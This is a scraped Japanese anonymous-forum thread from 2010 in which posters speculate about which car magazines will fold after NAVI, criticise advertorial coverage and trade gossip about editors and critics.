【NAVI廃刊】自動車雑誌【次はどこ？】
1 ：名無しさん＠そうだドライブへ行こう：
自動車雑誌を語りましょう
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2 ：名無しさん＠そうだドライブへ行こう：2010/03/11(木) 23:20:10 ID:Tvutbwta0
あ、ザッカーってまだ大丈夫ですかね？
3 ：名無しさん＠そうだドライブへ行こう：2010/03/12(金) 04:38:41 ID:gIUV1ajE0
カードラ
4 ：名無しさん＠そうだドライブへ行こう：2010/03/12(金) 10:28:09 ID:0oea9qse0
まずは「ＳＭスナイパー」と「エロトピア」だろうな
5 ：名無しさん＠そうだドライブへ行こう：2010/03/12(金) 12:23:00 ID:3+I0j4pw0
カーマガジン
6 ：名無しさん＠そうだドライブへ行こう：2010/03/12(金) 12:48:01 ID:pWGfKItH0
4x4マガジン もう要らん
7 ：名無しさん＠そうだドライブへ行こう：2010/03/12(金) 16:44:29 ID:iXGryirN0
ルボランとモータマガジン
外車好きだからたまに立ち読みするけど、
理由はあきらかにドイツメーカの広告記事になってるから。
毎回BM特集だAudi特集で記事内容もメーカ様様って感じ。
読者もそろそろ内容が偏り過ぎって気ずくだろ。
外車褒めてメーカからちやほやされる評論家も問題だが、、、
ルボランとモータマガジンほぼ中身は同じだし。
外車好きだからたまに立ち読みするけど、
理由はあきらかにドイツメーカの広告記事になってるから。
毎回BM特集だAudi特集で記事内容もメーカ様様って感じ。
読者もそろそろ内容が偏り過ぎって気ずくだろ。
外車褒めてメーカからちやほやされる評論家も問題だが、、、
ルボランとモータマガジンほぼ中身は同じだし。
8 ：名無しさん＠そうだドライブへ行こう：2010/03/12(金) 19:39:24 ID:doKUhL1O0
カードラって何十年前から紙面構成変わらんよね？
自動車雑誌界の水戸黄門みたいな感じｗ
自動車雑誌界の水戸黄門みたいな感じｗ
9 ：名無しさん＠そうだドライブへ行こう：2010/03/13(土) 07:42:49 ID:vtDFka070
10 ：名無しさん＠そうだドライブへ行こう：2010/03/13(土) 09:50:50 ID:KsmvCdWy0
まあ包茎は手術しなきゃいけないって嘘だからねえ
11 ：名無しさん＠そうだドライブへ行こう：2010/03/13(土) 11:36:14 ID:2RrV1uMb0
ホモなんてかえって包茎好きなんじゃん？
12 ：名無しさん＠そうだドライブへ行こう：2010/03/13(土) 16:23:51 ID:6CpaLjQm0
前に親会社が上場廃止になったレスポンスとかどうなん。
13 ：名無しさん＠そうだドライブへ行こう：2010/03/15(月) 09:24:04 ID:lvqBrOT60
オートメカニックの月刊のほうは要らん 無限ループや
増刊の方を愛蔵版でも出して 毎年増補したらいいねん
増刊の方を愛蔵版でも出して 毎年増補したらいいねん
14 ：名無しさん＠そうだドライブへ行こう：2010/03/15(月) 12:30:00 ID:6C8n+/Rl0
無限ループｗ
15 ：名無しさん＠そうだドライブへ行こう：2010/03/16(火) 22:26:01 ID:EdS074IL0
カーボーイは大丈夫かいな？
16 ：名無しさん＠そうだドライブへ行こう：2010/03/17(水) 10:19:55 ID:Yrql5kZc0
17 ：名無しさん＠そうだドライブへ行こう：2010/03/18(木) 20:44:39 ID:BNAgGRJj0
カーグラはGさんが買うから大丈夫！
18 ：名無しさん＠そうだドライブへ行こう：2010/03/19(金) 13:42:55 ID:pk16CMsu0
ポルシェ特集って毎回売れるらしいから毎月特集すれば廃刊減るかもｗ
19 ：名無しさん＠そうだドライブへ行こう：2010/03/19(金) 18:43:56 ID:DdaCqPNo0
Ｍｏｔｏｒ Ｆａｎ
20 ：名無しさん＠そうだドライブへ行こう：2010/03/20(土) 17:00:11 ID:UP0p4pWX0
やばいの？
21 ：名無しさん＠そうだドライブへ行こう：2010/03/20(土) 22:50:11 ID:m4bFmgVE0
アクティブビークルってザッカーみたいな雑誌になったので終了も近そうだorz
22 ：名無しさん＠そうだドライブへ行こう：2010/03/21(日) 00:13:36 ID:zdeArMv/0
【日韓/自動車】 日本ダイハツの部品購入団が韓国訪問[3/15]
http://yutori7.2ch.net/test/read.cgi/news4plus/1268631051/
http://yutori7.2ch.net/test/read.cgi/news4plus/1268631051/
23 ：名無しさん＠そうだドライブへ行こう：2010/03/23(火) 19:54:08 ID:jnQhsnDE0
24 ：名無しさん＠そうだドライブへ行こう：2010/03/26(金) 10:12:32 ID:xhco034Z0
トヨタ、工場の生産車種を集約 人員削減はせず
トヨタ自動車は２５日、今後数年間で国内の各工場の生産車種を見直し、
ミニバンや小型車などのタイプごとに生産体制を再編する方針を明らかにした。
生産効率を高め、収益が出やすい体質に変革するのが狙い。
工場によっては、生産ラインの一部廃止や生産規模の縮小の可能性もあるが、
人員削減はせず、転勤にとどめるという。今夏をめどに具体的な計画をまとめる。
トヨタは完成車を、ダイハツ工業、日野自動車などの子会社を含む全国の１７工場で生産しており、
同じ車種でも生産工場は複数にまたがっている。今後はモデルチェンジの際にどこで生産するかを見直し、
ミニバンや大型車、小型車などのタイプ別に生産を集約し、量産効果を高める。
大規模リコール（無料の回収・修理）問題を教訓とした品質改善の取り組みも、進めやすくなりそうだ。
47NEWS
http://www.47news.jp/CN/201003/CN2010032501000388.html
トヨタ自動車は２５日、今後数年間で国内の各工場の生産車種を見直し、
ミニバンや小型車などのタイプごとに生産体制を再編する方針を明らかにした。
生産効率を高め、収益が出やすい体質に変革するのが狙い。
工場によっては、生産ラインの一部廃止や生産規模の縮小の可能性もあるが、
人員削減はせず、転勤にとどめるという。今夏をめどに具体的な計画をまとめる。
トヨタは完成車を、ダイハツ工業、日野自動車などの子会社を含む全国の１７工場で生産しており、
同じ車種でも生産工場は複数にまたがっている。今後はモデルチェンジの際にどこで生産するかを見直し、
ミニバンや大型車、小型車などのタイプ別に生産を集約し、量産効果を高める。
大規模リコール（無料の回収・修理）問題を教訓とした品質改善の取り組みも、進めやすくなりそうだ。
47NEWS
http://www.47news.jp/CN/201003/CN2010032501000388.html
25 ：名無しさん＠そうだドライブへ行こう：2010/03/26(金) 21:37:32 ID:zFiFpYzZ0
エンジン最新号の薄さがヤバい
広告全然入ってないよ
時間の問題だな
広告全然入ってないよ
時間の問題だな
26 ：名無しさん＠そうだドライブへ行こう：2010/03/26(金) 21:46:30 ID:/XyZJpWF0
まあ内容の酷さならゲンロクなんだが、金の出やすい層が対象だから平気なのかな
27 ：名無しさん＠そうだドライブへ行こう：2010/03/26(金) 21:57:52 ID:zFiFpYzZ0
28 ：名無しさん＠そうだドライブへ行こう：2010/03/26(金) 23:05:30 ID:BR/R5Ijm0
オプションもカーボーイも久しぶりに見たら物凄く薄くなってたな～
29 ：名無しさん＠そうだドライブへ行こう：2010/03/27(土) 10:23:43 ID:0oTHbTf00
エンジンは腕時計雑誌だからどうでもいいや
30 ：名無しさん＠そうだドライブへ行こう：2010/03/27(土) 11:16:52 ID:tIipJFfg0
心配するならゲンロクではなくロッソだろ
31 ：名無しさん＠そうだドライブへ行こう：2010/03/28(日) 15:05:20 ID:Y0vRHPCv0
ゲンロクの提灯特集読むと笑いが止まらない
32 ：名無しさん＠そうだドライブへ行こう：2010/03/30(火) 16:13:47 ID:MG0v9/pB0
ゲンロクってほとんど車屋の広告ページじゃんww
記事も海外から調達したやつとかだから
金がかけられてる訳じゃない。
エンジンは今月号から以前よりもさらにに
時計のページが増えてたようなきが、、、
ちょっとさすがに自動車雑誌コーナに
おく雑誌かいなと思ったわw
記事も海外から調達したやつとかだから
金がかけられてる訳じゃない。
エンジンは今月号から以前よりもさらにに
時計のページが増えてたようなきが、、、
ちょっとさすがに自動車雑誌コーナに
おく雑誌かいなと思ったわw
33 ：名無しさん＠そうだドライブへ行こう：2010/03/30(火) 17:29:27 ID:OhC4OY+T0
外車でかっこつける時代が完全に終焉を迎えた現在では
この手の外車雑誌は需要がなくなるのも当然だな。
というわたくしもこの手の雑誌記事にまんまと乗せられて
外車の鉄くずに散財してしもうたわいｗ
今はこいつら評論家に酷評されてた国産車に乗ってますわ。
あらためてメイドインジャパンの素晴らしさを痛感してる今日このごろ。
この手の外車雑誌は需要がなくなるのも当然だな。
というわたくしもこの手の雑誌記事にまんまと乗せられて
外車の鉄くずに散財してしもうたわいｗ
今はこいつら評論家に酷評されてた国産車に乗ってますわ。
あらためてメイドインジャパンの素晴らしさを痛感してる今日このごろ。
34 ：名無しさん＠そうだドライブへ行こう：2010/03/30(火) 17:55:48 ID:YZuN2/7u0
作り話っぽい
35 ：名無しさん＠そうだドライブへ行こう：2010/03/30(火) 23:04:22 ID:hI8uZY7R0
／;;;;;;;;;;;;;;;;;;;;;Yヽ、
/;;;;;;┌--‐""""ヾ,ヽ
/:::::;;;ｿ ヾ;〉
〈;;;;;;;;;l ＿＿_ ＿＿i|
/⌒ヽﾘ─| -･=-H -･=-|!
| （ ｀ー─' |ー─'|
ヽ,, ヽ ． ,､__) ﾉ!
| ノ ヽ |
∧ . 'ｰ=-' ./
／＼ヽ /
／ ＼ ヽ＼ ヽ__＿_,ノヽ
脱税 不倫
編集長自身の不正のほうが
「マガジンX」のネタになるな
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脱税 不倫
編集長自身の不正のほうが
「マガジンX」のネタになるな
36 ：名無しさん＠そうだドライブへ行こう：2010/04/04(日) 11:17:35 ID:FzK677B/0
CAR GRAPHICの長期テスト車がものすごい勢いで減ってるのが気になる。
大丈夫なのかな・・・・。
大丈夫なのかな・・・・。
37 ：名無しさん＠そうだドライブへ行こう：2010/04/04(日) 21:36:07 ID:Br0SnA6b0
マガジンＸにNAVI休刊の記事あるね。
座談会形式だけど、
２チャンのネタを寄せ集めたのがバレバレ。
座談会形式だけど、
２チャンのネタを寄せ集めたのがバレバレ。
38 ：名無しさん＠そうだドライブへ行こう：2010/04/04(日) 21:37:37 ID:jc03ZlPa0
ｗ
39 ：名無しさん＠そうだドライブへ行こう：2010/04/05(月) 12:16:30 ID:lbAaX0po0
先日、車関係の出版業界の人と話す機会があり、
各雑誌の経営状態について質問したら、
広告のページ数が、大体の目安になるとの答えだった。
やっぱり、たびたび2chで書かれている通りなんだねぇ。
各雑誌の経営状態について質問したら、
広告のページ数が、大体の目安になるとの答えだった。
やっぱり、たびたび2chで書かれている通りなんだねぇ。
40 ：名無しさん＠そうだドライブへ行こう：2010/04/09(金) 01:16:49 ID:8dU4YpkyO
マルチ乙
41 ：名無しさん＠そうだドライブへ行こう：2010/04/11(日) 15:20:01 ID:wFi3Gv640
最後に残るのはベストカーだけかな
42 ：名無しさん＠そうだドライブへ行こう：2010/04/12(月) 19:25:53 ID:dBZbK9c10
俺は１９９３年頃にベストカー、マガジンＸ、くるまにあ、オートサウンド、
サウンドアップ、カーオーディオマガジン、カーオーディオワールド、
カーグッズマガジン、インプレッサマガジン、シックススターマガジン、
スバリズムを読んでいました。
今年３月までベストカー、カーアンドドライバー、マガジンＸ、ＮＡＶＩ、
ディズニーファンを読んでいました。
今はベストカーとディズニーファンだけです。
ベストカーがトヨタばっかりでつまらなくなった。しばらく買うのやめます。
サウンドアップ、カーオーディオマガジン、カーオーディオワールド、
カーグッズマガジン、インプレッサマガジン、シックススターマガジン、
スバリズムを読んでいました。
今年３月までベストカー、カーアンドドライバー、マガジンＸ、ＮＡＶＩ、
ディズニーファンを読んでいました。
今はベストカーとディズニーファンだけです。
ベストカーがトヨタばっかりでつまらなくなった。しばらく買うのやめます。
43 ：名無しさん＠そうだドライブへ行こう：2010/04/12(月) 20:50:15 ID:dBZbK9c10
>>42
２００３年の間違いです
２００３年の間違いです
44 ：名無しさん＠そうだドライブへ行こう：2010/04/15(木) 14:39:08 ID:Az8ggSsf0
今月号のエンジン
全体的に薄くなった。。。
紙厚も安っぽいペラッペラの物に変更されてるし
いよいよ厳しいか？？？
全体的に薄くなった。。。
紙厚も安っぽいペラッペラの物に変更されてるし
いよいよ厳しいか？？？
45 ：名無しさん＠そうだドライブへ行こう：2010/04/15(木) 16:44:34 ID:Dzdf2sNa0
腕時計売れてないのかな？
46 ：名無しさん＠そうだドライブへ行こう：2010/04/15(木) 18:32:56 ID:Larb7O9T0
MOTO EDGEって
47 ：名無しさん＠そうだドライブへ行こう：2010/04/15(木) 21:55:07 ID:URhy4G740
669 ：名無しさん＠そうだドライブへ行こう：2010/04/15(木) 06:46:00 ID:0gY2keyp0
マグXの記事のレベルなんて前からそんなもんだろ。
どんな問題についても、本質を的確に捉えたことは一度もない。
マグXの記事のレベルなんて前からそんなもんだろ。
どんな問題についても、本質を的確に捉えたことは一度もない。
48 ：名無しさん＠そうだドライブへ行こう：2010/04/18(日) 00:39:13 ID:USQdRaDk0
カーボーイも薄くなったな
49 ：名無しさん＠そうだドライブへ行こう：2010/04/18(日) 05:04:15 ID:SEJQPkSo0
ｶｳﾝﾄﾀﾞｳﾝﾊｼﾞﾏﾀ
50 ：名無しさん＠そうだドライブへ行こう：2010/04/18(日) 15:15:33 ID:mi+p1+jU0
自動車雑誌はほんとやばいな
51 ：名無しさん＠そうだドライブへ行こう：2010/04/18(日) 16:43:31 ID:DmdIFleu0
NAVIは経営状態がやばくなかったころに、
国産車を取り上げず、輸入車ばかりを取り上げたのが、
そっぽをむかれた理由の一つではないだろうか。
かつて、国産車に勢いがあったときに、なぜ、国産車を
取り上げてくれなかったのか。
国産車を取り上げず、輸入車ばかりを取り上げたのが、
そっぽをむかれた理由の一つではないだろうか。
かつて、国産車に勢いがあったときに、なぜ、国産車を
取り上げてくれなかったのか。
52 ：名無しさん＠そうだドライブへ行こう：2010/04/18(日) 19:45:54 ID:9rEhgBQj0
それで今週のCGTVは軽自動車特集やってたのか
53 ：名無しさん＠そうだドライブへ行こう：2010/04/18(日) 19:50:38 ID:uf8bmC2e0
CGTVが国産取り上げるときはB級C級グルメ的に上から目線で
面白がってるだけで、自分の足にしようなんて視点はこれぽっちも無いでしょ。
面白がってるだけで、自分の足にしようなんて視点はこれぽっちも無いでしょ。
54 ：名無しさん＠そうだドライブへ行こう：2010/04/19(月) 03:00:58 ID:/eQZoJHD0
三栄の雑誌がダブついてるから
整理されるのではないでしょうか？
NAVは読んでた読者のライフスタイルが向上したため
読者が離れていったのでは？
（輸入車や国産車の知識がそこそこ身に付いた）
過去にNAVIを読んでた皆様
NAVIが無くなる数年前に購入したことございますか？
整理されるのではないでしょうか？
NAVは読んでた読者のライフスタイルが向上したため
読者が離れていったのでは？
（輸入車や国産車の知識がそこそこ身に付いた）
過去にNAVIを読んでた皆様
NAVIが無くなる数年前に購入したことございますか？
55 ：名無しさん＠そうだドライブへ行こう：2010/04/19(月) 13:18:24 ID:/x9xTsTM0
え、酷産車の情報なんて要らないよ。どこにでもありふれてるじゃん。
56 ：名無しさん＠そうだドライブへ行こう：2010/04/20(火) 01:36:53 ID:3HnHncaC0
雑誌が売れないのはネットの媒体の影響もあるが、当てにならない
提灯記事なら読む価値無いな。そんな自動車評論家何人いても存在意義無い。
提灯記事なら読む価値無いな。そんな自動車評論家何人いても存在意義無い。
57 ：名無しさん＠そうだドライブへ行こう：2010/04/20(火) 10:12:50 ID:N6QbjGph0
雑誌が厳しいって事は自動車評論家ｗも厳しいのかのう？
58 ：名無しさん＠そうだドライブへ行こう：2010/04/20(火) 12:41:44 ID:Y4OpTynU0
50過ぎて実家のウナギ屋に転職を企む奴まで出てるほどですから
59 ：名無しさん＠そうだドライブへ行こう：2010/04/21(水) 10:09:36 ID:UxT464CM0
ウナギも完全養殖可能になって値下がり必至だから前途多難だな
60 ：名無しさん＠そうだドライブへ行こう：2010/04/21(水) 10:43:52 ID:Sz1wCDFw0
え、うなぎって卵からの孵化に成功したの？ 養殖はシラス捕まえて育ててるだけだと
思ってた。
思ってた。
61 ：名無しさん＠そうだドライブへ行こう：2010/04/21(水) 22:08:02 ID:RPywlIN+0
養殖うなぎ業者＼(^o^)／ ｵﾀﾜ
62 ：名無しさん＠そうだドライブへ行こう：2010/04/21(水) 22:19:25 ID:nCYS5xKp0
今年はシラスウナギ激減でうなぎ屋そのものが潰れそうだってさ。
63 ：名無しさん＠そうだドライブへ行こう：2010/04/23(金) 23:22:14 ID:lrI50q3o0
民主党に媚びるつもりで
無駄を省くとか誌面で煽って
まったく売れていないくせに
惰性で続けている雑誌が
もっとも無駄
無駄を省くとか誌面で煽って
まったく売れていないくせに
惰性で続けている雑誌が
もっとも無駄
64 ：名無しさん＠そうだドライブへ行こう：2010/04/24(土) 11:34:57 ID:FWTd0AMP0
ゲンダイの事ですね、わかります
65 ：名無しさん＠そうだドライブへ行こう：2010/04/26(月) 23:48:15 ID:E9zXiTyt0
MAG-Xが新装刊って表紙に書いてあったけど、
何が変わったのかよくわからん
手元にあった２月号と比較してみたら、特別定価５９０円が定価５９０円になっており
ページ数が２０ページ近く減っているのだが、これは前から？
値段据え置きでページ減なのがリニューアルの中身だとしたら終わってんな
何が変わったのかよくわからん
手元にあった２月号と比較してみたら、特別定価５９０円が定価５９０円になっており
ページ数が２０ページ近く減っているのだが、これは前から？
値段据え置きでページ減なのがリニューアルの中身だとしたら終わってんな
66 ：名無しさん＠そうだドライブへ行こう：2010/04/27(火) 09:57:59 ID:Zi8GPsqd0
Ｘは昔のようにトンガってもらいたい。
スズキ偏執のＮＡＶＩと共に毎月必ず買ってたよ・・・
スズキ偏執のＮＡＶＩと共に毎月必ず買ってたよ・・・
67 ：名無しさん＠そうだドライブへ行こう：2010/04/27(火) 11:28:03 ID:Zi8GPsqd0
とりあえずエンジン買ってきた
68 ：名無しさん＠そうだドライブへ行こう：2010/04/27(火) 16:49:17 ID:EJS6kRWY0
時計雑誌の？
69 ：名無しさん＠そうだドライブへ行こう：2010/04/27(火) 18:46:59 ID:p/9wRRE/0
時計も何十万円クラスなら分からなくもないけど何百万円クラスになると理解出来ないなー。
70 ：名無しさん＠そうだドライブへ行こう：2010/04/27(火) 20:32:52 ID:Zi8GPsqd0
71 ：名無しさん＠そうだドライブへ行こう：2010/04/29(木) 21:19:57 ID:MAHD3PLQ0
>>65
部下との不倫がバレたマガジンX編集長が、
目次で豊田章男に懸命のゴマスリ
いよいよ終末が近いと察して
やばそうな記事は外注の署名入りにして責任転嫁
自分だけトヨタ社長に取り入ろうって魂胆ミエミエｗ
部下との不倫がバレたマガジンX編集長が、
目次で豊田章男に懸命のゴマスリ
いよいよ終末が近いと察して
やばそうな記事は外注の署名入りにして責任転嫁
自分だけトヨタ社長に取り入ろうって魂胆ミエミエｗ
72 ：康幸さん＠そうだドライブへ行こう：2010/04/30(金) 22:30:26 ID:C7MbOQyU0
カーグラとオプションは以外糞だろうが？
73 ：名無しさん＠そうだドライブへ行こう：2010/04/30(金) 22:57:22 ID:TTGbbopW0
鳥谷よー打った
74 ：名無しさん＠そうだドライブへ行こう：2010/04/30(金) 23:49:53 ID:/PlcPF460
オートカージャパン買うのやめようかな…
最初の頃は翻訳・独自記事共に内外クラス問わず幅広く扱ってたのが
フィット対ポロでサイトー・内藤両氏が去った辺りからみるみる劣化。
国産：翻訳記事は数号に1度。試乗記は報道資料丸写しで2車種で1ページ
ｶﾞｲｼｬ：翻訳記事は毎号複数車種。試乗記は見開きでマンセーの嵐。
OurCarsはワーゲンアウディランドローバー（こないだまでアルファも）で固定。
最早看板だけじゃん。
最初の頃は翻訳・独自記事共に内外クラス問わず幅広く扱ってたのが
フィット対ポロでサイトー・内藤両氏が去った辺りからみるみる劣化。
国産：翻訳記事は数号に1度。試乗記は報道資料丸写しで2車種で1ページ
ｶﾞｲｼｬ：翻訳記事は毎号複数車種。試乗記は見開きでマンセーの嵐。
OurCarsはワーゲンアウディランドローバー（こないだまでアルファも）で固定。
最早看板だけじゃん。
75 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 00:11:26 ID:IY/atP3B0
賛否両論はあるけどやる気が少しは見えるレブスピードは応援したい。嫌いだけどｗ
読まないけどたまに買ってるｗ
読まないけどたまに買ってるｗ
76 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 06:13:37 ID:zyO5o6uI0
オプ２はなくならんのか？
77 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 17:05:06 ID:bsXpC7om0
雑誌社による自動車保険金詐欺が酷い
ある保険会社は現在二十件近く警察に相談しているらしい
ある保険会社は現在二十件近く警察に相談しているらしい
78 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 17:06:41 ID:OZOw2b4u0
>>77
与党の幹部が平気で脱税する世の中じゃあね。
与党の幹部が平気で脱税する世の中じゃあね。
79 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 21:23:38 ID:/1k1LAYM0
>>65
760 ：名無しさん＠そうだドライブへ行こう：2010/04/30(金) 23:54:38 ID:TTGbbopW0
別冊のビジネスムック 全く売れていない。
761 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 00:37:58 ID:2XYOJX0j0
別冊ってプリウスの真実とかいうやつか？内容に見るべきところがなんにもない感じだった
760 ：名無しさん＠そうだドライブへ行こう：2010/04/30(金) 23:54:38 ID:TTGbbopW0
別冊のビジネスムック 全く売れていない。
761 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 00:37:58 ID:2XYOJX0j0
別冊ってプリウスの真実とかいうやつか？内容に見るべきところがなんにもない感じだった
80 ：名無しさん＠そうだドライブへ行こう：2010/05/02(日) 01:50:37 ID:cEyA0hSp0
トヨタの犬、ベストカーはいつまで続くんだ？
81 ：名無しさん＠そうだドライブへ行こう：2010/05/03(月) 09:31:25 ID:LdGxCNSD0
>>74
斉藤さんや内藤さんがいなくなったのは大きい。
それとDセグメント選手権とかは結構手間をかけてベストグレードを選び，
そして対決させる。喧喧囂囂の意見も観ていて楽しかった。
国産車なんかはよくぞ言ってくれたといった所もあるし，
外国車同士の対決も基本方針が変わらない。
あの様な対決がなくなったのは遺憾としか申し上げ様がない。
だから最近は買わなくなったなぁ。つまんないし。
斉藤さんや内藤さんがいなくなったのは大きい。
それとDセグメント選手権とかは結構手間をかけてベストグレードを選び，
そして対決させる。喧喧囂囂の意見も観ていて楽しかった。
国産車なんかはよくぞ言ってくれたといった所もあるし，
外国車同士の対決も基本方針が変わらない。
あの様な対決がなくなったのは遺憾としか申し上げ様がない。
だから最近は買わなくなったなぁ。つまんないし。
82 ：名無しさん＠そうだドライブへ行こう：2010/05/03(月) 12:42:38 ID:kXyuP1AP0
>>58
「叔母からお金やうなぎをセビッていた のけれど、
ここにきて出来なくなった。最近の叔母はムダ使いをあまりしなくなりましたから。
さらに叔母が一人じゃどうしようもなくなっていることも知っている。
人の不幸は蜜の味。破綻させて施設に入れらることを望んでいるワケ。 」
こいつクズすぐるだろｗｗｗｗｗｗｗ国沢ｗｗｗｗｗｗ
「叔母からお金やうなぎをセビッていた のけれど、
ここにきて出来なくなった。最近の叔母はムダ使いをあまりしなくなりましたから。
さらに叔母が一人じゃどうしようもなくなっていることも知っている。
人の不幸は蜜の味。破綻させて施設に入れらることを望んでいるワケ。 」
こいつクズすぐるだろｗｗｗｗｗｗｗ国沢ｗｗｗｗｗｗ
83 ：名無しさん＠そうだドライブへ行こう：2010/05/03(月) 13:09:59 ID:+OpeG8ch0
>>81
国・メーカー・車格の区別なく各車の長短を具体的に指摘するのが
あの雑誌の持ち味だったのにそれを全部捨ててしまったからね｡
軽自動車選手権とか面白かったのに…｡
国産のインプレなんてやる気がないどころか
書くことに苦痛を感じているのが文章に滲み出てるよ。
国・メーカー・車格の区別なく各車の長短を具体的に指摘するのが
あの雑誌の持ち味だったのにそれを全部捨ててしまったからね｡
軽自動車選手権とか面白かったのに…｡
国産のインプレなんてやる気がないどころか
書くことに苦痛を感じているのが文章に滲み出てるよ。
84 ：名無しさん＠そうだドライブへ行こう：2010/05/03(月) 13:44:04 ID:+OpeG8ch0
書くことに苦痛を
書くことを苦痛に
ﾆﾎﾝｺﾞﾑﾂﾞｶｼｲﾃﾞｽ
書くことを苦痛に
ﾆﾎﾝｺﾞﾑﾂﾞｶｼｲﾃﾞｽ
85 ：名無しさん＠そうだドライブへ行こう：2010/05/03(月) 19:54:34 ID:xv/78fFY0
>>81
内藤さんが例のホンダ擁護で同僚から叩かれまくっていたのが見ていて痛かった。
ああいう内紛を記事にせざるえなかったのはACJにとって不幸だったかもね。
その後、斎藤氏はENGINEに移籍したが、彼の場合、プロボックス乗りということも
あって微妙にENGINEの輸入車偏重路線と噛み合っていない感じもする。
ただ、逆に彼がいるからこそ、ENGINEがただの輸入車礼賛雑誌になって
いない部分もあるし、そこは救われているのかも。
HS250hとAudi A4 1.8TFSIの対決では前者が勝っちゃったしね。
内藤さんが例のホンダ擁護で同僚から叩かれまくっていたのが見ていて痛かった。
ああいう内紛を記事にせざるえなかったのはACJにとって不幸だったかもね。
その後、斎藤氏はENGINEに移籍したが、彼の場合、プロボックス乗りということも
あって微妙にENGINEの輸入車偏重路線と噛み合っていない感じもする。
ただ、逆に彼がいるからこそ、ENGINEがただの輸入車礼賛雑誌になって
いない部分もあるし、そこは救われているのかも。
HS250hとAudi A4 1.8TFSIの対決では前者が勝っちゃったしね。
86 ：名無しさん＠そうだドライブへ行こう：2010/05/03(月) 20:35:32 ID:jZLmVXtI0
斎藤氏はいいよね。説得力が段違い。何か本出さないかな。
87 ：名無しさん＠そうだドライブへ行こう：2010/05/03(月) 21:50:55 ID:+XhfWTuw0
88 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 04:19:30 ID:hyVthKSl0
書いてる事が昔から変わらないな
89 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 15:43:15 ID:bPjAHFll0
90 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 18:01:03 ID:0TiLPaPD0
ザッカーなんか変わったな
91 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 18:06:18 ID:pSocpyq/0
>>83
要はその様な企画が出来なくなった環境がとても悲しいよ。
他の雑誌は意味のないラップタイムとかやっているけど(笑)
車好きが思わず納得する企画は予算がかかるからやらないとか，
そういった環境や不景気も関係しているのではと思う。
国産のインプレは広報が書いているんじゃないのって位醜い。意味なし。
>>85
あれはしょうがない。実際に車好きが現行フィット乗ったら内藤さん以外の意見になってしまう。
森慶太，渡辺さん，沢村慎太郎さんの意見には同意せざるを得ない。
私も現行フィットに乗ったけど出来の悪さに切れそうになった。一言でいえば罰ゲーム。
だけど内藤さんは比較する視点が違ったからしょうがない。
確かにフィットはミニバンをベンチマーク(キープコンセプト)で便利になったコンパクトカーになったかもしれない。
収納ケースも多くなったし。後方視界も良くなった。でも乗ってみるとなんか違う。
だから仕方なかったかもしれない。痛く見えたとしても読者も受け止める器量はあってもいいかもしれない。
だから内藤さんに周囲がこういった事になったけど次も頑張ろうで締めればよかったのに。
斎藤さんはENGINEに移籍してもマイペースだからいい。
安心して読めるけど，ENGINE自体が高級車とか輸入車に偏っているから，斎藤さんの良さが生かせてないかな。
ENJINE自体が軽，B，C，Dセグメント選手権を国産と外車と分けてやってくれたら大歓迎だけど。
意外とそういったセグメント選手権って需要あると思うよ。一般の人にも読みやすいし。
月刊自家用車(笑)とかザ・マイカー(笑)とかの提灯記事しか書けないチキンが書くより説得力がある。
要はその様な企画が出来なくなった環境がとても悲しいよ。
他の雑誌は意味のないラップタイムとかやっているけど(笑)
車好きが思わず納得する企画は予算がかかるからやらないとか，
そういった環境や不景気も関係しているのではと思う。
国産のインプレは広報が書いているんじゃないのって位醜い。意味なし。
>>85
あれはしょうがない。実際に車好きが現行フィット乗ったら内藤さん以外の意見になってしまう。
森慶太，渡辺さん，沢村慎太郎さんの意見には同意せざるを得ない。
私も現行フィットに乗ったけど出来の悪さに切れそうになった。一言でいえば罰ゲーム。
だけど内藤さんは比較する視点が違ったからしょうがない。
確かにフィットはミニバンをベンチマーク(キープコンセプト)で便利になったコンパクトカーになったかもしれない。
収納ケースも多くなったし。後方視界も良くなった。でも乗ってみるとなんか違う。
だから仕方なかったかもしれない。痛く見えたとしても読者も受け止める器量はあってもいいかもしれない。
だから内藤さんに周囲がこういった事になったけど次も頑張ろうで締めればよかったのに。
斎藤さんはENGINEに移籍してもマイペースだからいい。
安心して読めるけど，ENGINE自体が高級車とか輸入車に偏っているから，斎藤さんの良さが生かせてないかな。
ENJINE自体が軽，B，C，Dセグメント選手権を国産と外車と分けてやってくれたら大歓迎だけど。
意外とそういったセグメント選手権って需要あると思うよ。一般の人にも読みやすいし。
月刊自家用車(笑)とかザ・マイカー(笑)とかの提灯記事しか書けないチキンが書くより説得力がある。
92 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 19:25:06 ID:p2CR5X+c0
＞ENJINE自体が軽，B，C，Dセグメント選手権を国産と外車と分けてやってくれたら大歓迎だけど。
そういうのはCG、モーターマガジン、ルボランあたりがやってるしなあ
むしろ内外の区別無く客観的にやって欲しいわ
そういうのはCG、モーターマガジン、ルボランあたりがやってるしなあ
むしろ内外の区別無く客観的にやって欲しいわ
93 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 20:45:28 ID:pSocpyq/0
>>92
たださぁ，それ等の雑誌っていきなり比較試乗で始まっているじゃん。
予め選んだグレードだったら，他の雑誌と同じでしょうがない。
オートカージャパンでは国産Dセグメントなんて予選があったよ。
アテンザ，プリメーラ，レガシィ，アベンシス，アコードのベストグレード選びから始まった。
だからそういったプロセスがないとさ，面白くないわけ。
ウィナーになったアベンシスに対しても反対意見載せているし。そういうのが見たいんだよ。
で，商売的にも続きはどれかなと購入せざるを得ない。(w
あの頃は本当に雑誌代がかかった。
今はたまに面白そうなテーマが掲載されているモータファン・イラストレーティッドや全てシリーズ位しか買ってないけどさ。
ENGINEあれはもはやファッション雑誌？
たださぁ，それ等の雑誌っていきなり比較試乗で始まっているじゃん。
予め選んだグレードだったら，他の雑誌と同じでしょうがない。
オートカージャパンでは国産Dセグメントなんて予選があったよ。
アテンザ，プリメーラ，レガシィ，アベンシス，アコードのベストグレード選びから始まった。
だからそういったプロセスがないとさ，面白くないわけ。
ウィナーになったアベンシスに対しても反対意見載せているし。そういうのが見たいんだよ。
